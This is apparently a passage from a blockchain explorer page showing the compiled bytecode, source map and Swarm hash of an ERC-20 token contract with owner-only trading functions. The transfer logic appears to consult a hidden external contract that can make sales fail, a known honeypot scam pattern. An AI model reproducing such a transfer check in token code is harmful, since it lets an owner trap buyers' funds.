021916908315150217905550565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1590611831565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c83906118bf565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d669190611444565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610daa575f80fd5b5f8111610db5575f80fd5b610dbd6105f5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015610e2b5750610dfb6105f5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561100f5760105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610ed4575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f0c57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f5f575060105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561100e575f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b385846040518363ffffffff1660e01b8152600401610fc1929190611745565b6020604051808303815f875af1158015610fdd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110019190611796565b90508061100c575f80fd5b505b5b61105f81600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111e490919063ffffffff16565b600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110f081600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461119b90919063ffffffff16565b600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161118e9190611444565b60405180910390a3505050565b5f6111dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611241565b905092915050565b5f8082846111f2919061190a565b905083811015611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122e90611987565b60405180910390fd5b8091505092915050565b5f838311158290611288576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127f9190611313565b60405180910390fd5b505f838561129691906119a5565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6112e5826112a3565b6112ef81856112ad565b93506112ff8185602086016112bd565b611308816112cb565b840191505092915050565b5f6020820190508181035f83015261132b81846112db565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61136082611337565b9050919050565b61137081611356565b811461137a575f80fd5b50565b5f8135905061138b81611367565b92915050565b5f819050919050565b6113a381611391565b81146113ad575f80fd5b50565b5f813590506113be8161139a565b92915050565b5f80604083850312156113da576113d9611333565b5b5f6113e78582860161137d565b92505060206113f8858286016113b0565b9150509250929050565b5f8115159050919050565b61141681611402565b82525050565b5f60208201905061142f5f83018461140d565b92915050565b61143e81611391565b82525050565b5f6020820190506114575f830184611435565b92915050565b5f805f6060848603121561147457611473611333565b5b5f6114818682870161137d565b93505060206114928682870161137d565b92505060406114a3868287016113b0565b9150509250925092565b5f60ff82169050919050565b6114c2816114ad565b82525050565b5f6020820190506114db5f8301846114b9565b92915050565b6114ea81611356565b82525050565b5f6020820190506115035f8301846114e1565b92915050565b5f6020828403121561151e5761151d611333565b5b5f61152b8482850161137d565b91505092915050565b5f806040838503121561154a57611549611333565b5b5f6115578582860161137d565b92505060206115688582860161137d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6115a66020836112ad565b91506115b182611572565b602082019050919050565b5f6020820190508181035f8301526115d38161159a565b9050919050565b5f815190506115e881611367565b92915050565b5f6020828403121561160357611602611333565b5b5f611610848285016115da565b91505092915050565b5f60408201905061162c5f8301856114e1565b61163960208301846114e1565b9392505050565b5f819050919050565b5f819050919050565b5f61166c61166761166284611640565b611649565b611391565b9050919050565b61167c81611652565b82525050565b5f60c0820190506116955f8301896114e1565b6116a26020830188611435565b6116af6040830187611673565b6116bc6060830186611673565b6116c960808301856114e1565b6116d660a0830184611435565b979650505050505050565b5f815190506116ef8161139a565b92915050565b5f805f6060848603121561170c5761170b611333565b5b5f611719868287016116e1565b935050602061172a868287016116e1565b925050604061173b868287016116e1565b9150509250925092565b5f6040820190506117585f8301856114e1565b6117656020830184611435565b9392505050565b61177581611402565b811461177f575f80fd5b50565b5f815190506117908161176c565b92915050565b5f602082840312156117ab576117aa611333565b5b5f6117b884828501611782565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61181b6024836112ad565b9150611826826117c1565b604082019050919050565b5f6020820190508181035f8301526118488161180f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6118a96022836112ad565b91506118b48261184f565b604082019050919050565b5f6020820190508181035f8301526118d68161189d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61191482611391565b915061191f83611391565b9250828201905080821115611937576119366118dd565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611971601b836112ad565b915061197c8261193d565b602082019050919050565b5f6020820190508181035f83015261199e81611965565b9050919050565b5f6119af82611391565b91506119ba83611391565b92508282039050818111156119d2576119d16118dd565b5b9291505056fea2646970667358221220034c558a41ba30d18d584743b8bc67bbd17b388e91bcb4818b844ed0433f00a964736f6c634300081a0033
Deployed Bytecode Sourcemap
726:4900:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2754:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4269:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3200:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5364:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2967:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1175:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2849:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;763:140:3;;;;;;;;;;;;;:::i;:::-;;1033:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2659::0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3299:200;;;;;;;;;;;;;:::i;:::-;;5095:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3507:411;;;:::i;:::-;;3058:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2754:83;2791:13;2824:5;;;;;;;;;;;;;;;;;2817:12;;2754:83;:::o;4269:150::-;4335:4;4352:37;4361:10;4373:7;4382:6;4352:8;:37::i;:::-;4407:4;4400:11;;4269:150;;;;:::o;3200:91::-;3244:7;3271:12;;3264:19;;3200:91;:::o;5364:256::-;5453:4;5470:36;5480:6;5488:9;5499:6;5470:9;:36::i;:::-;5517:73;5526:6;5534:10;5546:43;5582:6;5546:11;:19;5558:6;5546:19;;;;;;;;;;;;;;;:31;5566:10;5546:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;5517:8;:73::i;:::-;5608:4;5601:11;;5364:256;;;;;:::o;2967:83::-;3008:5;3033:9;;;;;;;;;;;3026:16;;2967:83;:::o;1175:28::-;;;;;;;;;;;;;:::o;2849:110::-;2906:7;2933:9;:18;2943:7;2933:18;;;;;;;;;;;;;;;;2926:25;;2849:110;;;:::o;763:140:3:-;960:10;949:21;;:7;:5;:7::i;:::-;:21;;;941:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;862:1:::1;825:40;;846:6;::::0;::::1;;;;;;;;825:40;;;;;;;;;;;;893:1;876:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;763:140::o:0;1033:87::-;1079:7;1106:6;;;;;;;;;;;1099:13;;1033:87;:::o;2659::0:-;2698:13;2731:7;;;;;;;;;;;;;;;;;2724:14;;2659:87;:::o;3299:200::-;960:10:3;949:21;;:7;:5;:7::i;:::-;:21;;;941:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;3351:12:0::1;3366:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3351:37;;3433:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3415:55;;;3479:4;3486;3415:76;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3399:13;;:92;;;;;;;;;;;;;;;;;;3340:159;3299:200::o:0;5095:156::-;5164:4;5181:40;5191:10;5203:9;5214:6;5181:9;:40::i;:::-;5239:4;5232:11;;5095:156;;;;:::o;3507:411::-;960:10:3;949:21;;:7;:5;:7::i;:::-;:21;;;941:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;3577:11:0::1;;;;;;;;;;;3576:12;3568:21;;;::::0;::::1;;3601:63;3618:4;3633:15;;;;;;;;;;;3651:12;;3601:8;:63::i;:::-;3675:15;;;;;;;;;;;:31;;;3714:9;3734:4;3741:24;3759:4;3741:9;:24::i;:::-;3767:1;3770::::0;3773:7:::1;:5;:7::i;:::-;3782:15;3675:123;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;3816:13;;;;;;;;;;;3809:29;;;3847:15;;;;;;;;;;;3865:14;3809:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;3906:4;3892:11;;:18;;;;;;;;;;;;;;;;;;3507:411::o:0;3058:134::-;3130:7;3157:11;:18;3169:5;3157:18;;;;;;;;;;;;;;;:27;3176:7;3157:27;;;;;;;;;;;;;;;;3150:34;;3058:134;;;;:::o;3926:335::-;4036:1;4019:19;;:5;:19;;;4011:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4117:1;4098:21;;:7;:21;;;4090:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4199:6;4169:11;:18;4181:5;4169:18;;;;;;;;;;;;;;;:27;4188:7;4169:27;;;;;;;;;;;;;;;:36;;;;4237:7;4221:32;;4230:5;4221:32;;;4246:6;4221:32;;;;;;:::i;:::-;;;;;;;;3926:335;;;:::o;4427:660::-;4535:1;4517:20;;:6;:20;;;4509:29;;;;;;4566:1;4557:6;:10;4549:19;;;;;;4590:7;:5;:7::i;:::-;4584:13;;:2;:13;;;;:34;;;;;4611:7;:5;:7::i;:::-;4601:17;;:6;:17;;;;4584:34;4580:344;;;4640:17;:25;4658:6;4640:25;;;;;;;;;;;;;;;;;;;;;;;;;4639:26;:52;;;;;4678:13;;;;;;;;;;;4668:23;;:6;:23;;;;4639:52;:79;;;;;4713:4;4695:23;;:6;:23;;;;4639:79;:123;;;;;4741:17;:21;4759:2;4741:21;;;;;;;;;;;;;;;;;;;;;;;;;4740:22;4639:123;4635:278;;;4787:17;4829:13;;;;;;;;;;;:43;;;4873:6;4881;4829:59;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4787:101;;4898:12;4890:21;;;;;;4764:149;4635:278;4580:344;4950:25;4968:6;4950:9;:13;4960:2;4950:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;4934:9;:13;4944:2;4934:13;;;;;;;;;;;;;;;:41;;;;5006:29;5028:6;5006:9;:17;5016:6;5006:17;;;;;;;;;;;;;;;;:21;;:29;;;;:::i;:::-;4986:9;:17;4996:6;4986:17;;;;;;;;;;;;;;;:49;;;;5068:2;5051:28;;5060:6;5051:28;;;5072:6;5051:28;;;;;;:::i;:::-;;;;;;;;4427:660;;;:::o;718:136:4:-;776:7;803:43;807:1;810;803:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;796:50;;718:136;;;;:::o;533:179::-;591:7;611:9;627:1;623;:5;;;;:::i;:::-;611:17;;652:1;647;:6;;639:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;703:1;696:8;;;533:179;;;;:::o;998:190::-;1084:7;1117:1;1112;:6;;1120:12;1104:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1144:9;1160:1;1156;:5;;;;:::i;:::-;1144:17;;1179:1;1172:8;;;998:190;;;;;:::o;7:99:6:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:118::-;4833:24;4851:5;4833:24;:::i;:::-;4828:3;4821:37;4746:118;;:::o;4870:222::-;4963:4;5001:2;4990:9;4986:18;4978:26;;5014:71;5082:1;5071:9;5067:17;5058:6;5014:71;:::i;:::-;4870:222;;;;:::o;5098:329::-;5157:6;5206:2;5194:9;5185:7;5181:23;5177:32;5174:119;;;5212:79;;:::i;:::-;5174:119;5332:1;5357:53;5402:7;5393:6;5382:9;5378:22;5357:53;:::i;:::-;5347:63;;5303:117;5098:329;;;;:::o;5433:474::-;5501:6;5509;5558:2;5546:9;5537:7;5533:23;5529:32;5526:119;;;5564:79;;:::i;:::-;5526:119;5684:1;5709:53;5754:7;5745:6;5734:9;5730:22;5709:53;:::i;:::-;5699:63;;5655:117;5811:2;5837:53;5882:7;5873:6;5862:9;5858:22;5837:53;:::i;:::-;5827:63;;5782:118;5433:474;;;;;:::o;5913:182::-;6053:34;6049:1;6041:6;6037:14;6030:58;5913:182;:::o;6101:366::-;6243:3;6264:67;6328:2;6323:3;6264:67;:::i;:::-;6257:74;;6340:93;6429:3;6340:93;:::i;:::-;6458:2;6453:3;6449:12;6442:19;;6101:366;;;:::o;6473:419::-;6639:4;6677:2;6666:9;6662:18;6654:26;;6726:9;6720:4;6716:20;6712:1;6701:9;6697:17;6690:47;6754:131;6880:4;6754:131;:::i;:::-;6746:139;;6473:419;;;:::o;6898:143::-;6955:5;6986:6;6980:13;6971:22;;7002:33;7029:5;7002:33;:::i;:::-;6898:143;;;;:::o;7047:351::-;7117:6;7166:2;7154:9;7145:7;7141:23;7137:32;7134:119;;;7172:79;;:::i;:::-;7134:119;7292:1;7317:64;7373:7;7364:6;7353:9;7349:22;7317:64;:::i;:::-;7307:74;;7263:128;7047:351;;;;:::o;7404:332::-;7525:4;7563:2;7552:9;7548:18;7540:26;;7576:71;7644:1;7633:9;7629:17;7620:6;7576:71;:::i;:::-;7657:72;7725:2;7714:9;7710:18;7701:6;7657:72;:::i;:::-;7404:332;;;;;:::o;7742:85::-;7787:7;7816:5;7805:16;;7742:85;;;:::o;7833:60::-;7861:3;7882:5;7875:12;;7833:60;;;:::o;7899:158::-;7957:9;7990:61;8008:42;8017:32;8043:5;8017:32;:::i;:::-;8008:42;:::i;:::-;7990:61;:::i;:::-;7977:74;;7899:158;;;:::o;8063:147::-;8158:45;8197:5;8158:45;:::i;:::-;8153:3;8146:58;8063:147;;:::o;8216:807::-;8465:4;8503:3;8492:9;8488:19;8480:27;;8517:71;8585:1;8574:9;8570:17;8561:6;8517:71;:::i;:::-;8598:72;8666:2;8655:9;8651:18;8642:6;8598:72;:::i;:::-;8680:80;8756:2;8745:9;8741:18;8732:6;8680:80;:::i;:::-;8770;8846:2;8835:9;8831:18;8822:6;8770:80;:::i;:::-;8860:73;8928:3;8917:9;8913:19;8904:6;8860:73;:::i;:::-;8943;9011:3;9000:9;8996:19;8987:6;8943:73;:::i;:::-;8216:807;;;;;;;;;:::o;9029:143::-;9086:5;9117:6;9111:13;9102:22;;9133:33;9160:5;9133:33;:::i;:::-;9029:143;;;;:::o;9178:663::-;9266:6;9274;9282;9331:2;9319:9;9310:7;9306:23;9302:32;9299:119;;;9337:79;;:::i;:::-;9299:119;9457:1;9482:64;9538:7;9529:6;9518:9;9514:22;9482:64;:::i;:::-;9472:74;;9428:128;9595:2;9621:64;9677:7;9668:6;9657:9;9653:22;9621:64;:::i;:::-;9611:74;;9566:129;9734:2;9760:64;9816:7;9807:6;9796:9;9792:22;9760:64;:::i;:::-;9750:74;;9705:129;9178:663;;;;;:::o;9847:332::-;9968:4;10006:2;9995:9;9991:18;9983:26;;10019:71;10087:1;10076:9;10072:17;10063:6;10019:71;:::i;:::-;10100:72;10168:2;10157:9;10153:18;10144:6;10100:72;:::i;:::-;9847:332;;;;;:::o;10185:116::-;10255:21;10270:5;10255:21;:::i;:::-;10248:5;10245:32;10235:60;;10291:1;10288;10281:12;10235:60;10185:116;:::o;10307:137::-;10361:5;10392:6;10386:13;10377:22;;10408:30;10432:5;10408:30;:::i;:::-;10307:137;;;;:::o;10450:345::-;10517:6;10566:2;10554:9;10545:7;10541:23;10537:32;10534:119;;;10572:79;;:::i;:::-;10534:119;10692:1;10717:61;10770:7;10761:6;10750:9;10746:22;10717:61;:::i;:::-;10707:71;;10663:125;10450:345;;;;:::o;10801:223::-;10941:34;10937:1;10929:6;10925:14;10918:58;11010:6;11005:2;10997:6;10993:15;10986:31;10801:223;:::o;11030:366::-;11172:3;11193:67;11257:2;11252:3;11193:67;:::i;:::-;11186:74;;11269:93;11358:3;11269:93;:::i;:::-;11387:2;11382:3;11378:12;11371:19;;11030:366;;;:::o;11402:419::-;11568:4;11606:2;11595:9;11591:18;11583:26;;11655:9;11649:4;11645:20;11641:1;11630:9;11626:17;11619:47;11683:131;11809:4;11683:131;:::i;:::-;11675:139;;11402:419;;;:::o;11827:221::-;11967:34;11963:1;11955:6;11951:14;11944:58;12036:4;12031:2;12023:6;12019:15;12012:29;11827:221;:::o;12054:366::-;12196:3;12217:67;12281:2;12276:3;12217:67;:::i;:::-;12210:74;;12293:93;12382:3;12293:93;:::i;:::-;12411:2;12406:3;12402:12;12395:19;;12054:366;;;:::o;12426:419::-;12592:4;12630:2;12619:9;12615:18;12607:26;;12679:9;12673:4;12669:20;12665:1;12654:9;12650:17;12643:47;12707:131;12833:4;12707:131;:::i;:::-;12699:139;;12426:419;;;:::o;12851:180::-;12899:77;12896:1;12889:88;12996:4;12993:1;12986:15;13020:4;13017:1;13010:15;13037:191;13077:3;13096:20;13114:1;13096:20;:::i;:::-;13091:25;;13130:20;13148:1;13130:20;:::i;:::-;13125:25;;13173:1;13170;13166:9;13159:16;;13194:3;13191:1;13188:10;13185:36;;;13201:18;;:::i;:::-;13185:36;13037:191;;;;:::o;13234:177::-;13374:29;13370:1;13362:6;13358:14;13351:53;13234:177;:::o;13417:366::-;13559:3;13580:67;13644:2;13639:3;13580:67;:::i;:::-;13573:74;;13656:93;13745:3;13656:93;:::i;:::-;13774:2;13769:3;13765:12;13758:19;;13417:366;;;:::o;13789:419::-;13955:4;13993:2;13982:9;13978:18;13970:26;;14042:9;14036:4;14032:20;14028:1;14017:9;14013:17;14006:47;14070:131;14196:4;14070:131;:::i;:::-;14062:139;;13789:419;;;:::o;14214:194::-;14254:4;14274:20;14292:1;14274:20;:::i;:::-;14269:25;;14308:20;14326:1;14308:20;:::i;:::-;14303:25;;14352:1;14349;14345:9;14337:17;;14376:1;14370:4;14367:11;14364:37;;;14381:18;;:::i;:::-;14364:37;14214:194;;;;:::o
Swarm Source
ipfs://034c558a41ba30d18d584743b8bc67bbd17b388e91bcb4818b844ed0433f00a9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.